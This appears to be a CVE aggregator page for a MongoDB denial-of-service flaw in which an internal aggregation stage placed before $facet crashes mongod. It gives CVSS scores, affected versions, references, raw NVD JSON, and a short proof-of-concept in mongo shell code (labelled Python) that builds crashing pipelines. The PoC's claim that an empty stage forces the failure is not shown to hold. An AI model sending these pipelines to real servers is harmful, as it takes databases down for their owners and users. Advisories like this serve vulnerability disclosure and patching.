CVE-2026-9748

Description

The $_internalConvertBucketIndexStats stage used PauseExecution as a way to signal "skip this document" when an index stats conversion failed. But PauseExecution is not a general purpose skip mechanism, but rather a TeeBuffer-internal signal used solely by $facet to coordinate its sub-pipelines. When this stage is placed before $facet in a pipeline, TeeBuffer receives the unexpected PauseExecution from upstream and hits a hard invariant assertion, crashing mongod.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

MongoDB Server < 7.0.14

MongoDB Server 7.1.x < 7.1.8

MongoDB Server 7.2.x < 7.2.6

MongoDB Server 7.3.x < 7.3.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-9748 PoC - MongoDB DoS via $_internalConvertBucketIndexStats before $facet
// Requires low privilege user

db = db.getSiblingDB('test');
db.createCollection('test_collection');

// Construct malicious aggregation pipeline
// Place $_internalConvertBucketIndexStats before $facet to trigger PauseExecution assertion
var maliciousPipeline = [
    {
        $_internalConvertBucketIndexStats: {
            // Force conversion failure to trigger PauseExecution
        }
    },
    {
        $facet: {
            subPipeline1: [{$count: "total"}],
            subPipeline2: [{$count: "count"}]
        }
    }
];

try {
    db.test_collection.aggregate(maliciousPipeline);
} catch (e) {
    print("Vulnerability triggered - mongod may crash: " + e.message);
}

// Alternative PoC with collection using time series buckets
db.createCollection('sensor_data', {
    timeseries: {
        timeField: 'timestamp',
        metaField: 'metadata',
        granularity: 'seconds'
    }
});

var pocPipeline2 = [
    { $limit: 1 },
    { $project: { _id: 0 } },
    { $_internalConvertBucketIndexStats: {} },
    { $facet: { data: [{$count: 'count'}] } }
];

db.sensor_data.aggregate(pocPipeline2);

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9748
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9748
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9748/
[4] VulDB https://vuldb.com/cve/CVE-2026-9748
[5] https://jira.mongodb.org/browse/SERVER-123951

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9748", "sourceIdentifier": "[email protected]", "published": "2026-06-09T23:17:04.250", "lastModified": "2026-06-10T19:43:28.857", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The $_internalConvertBucketIndexStats stage used PauseExecution as a way to signal \"skip this document\" when an index stats conversion failed. But PauseExecution is not a general purpose skip mechanism, but rather a TeeBuffer-internal signal used solely by $facet to coordinate its sub-pipelines. When this stage is placed before $facet in a pipeline, TeeBuffer receives the unexpected PauseExecution from upstream and hits a hard invariant assertion, crashing mongod."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-123951", "source": "[email protected]"}]}}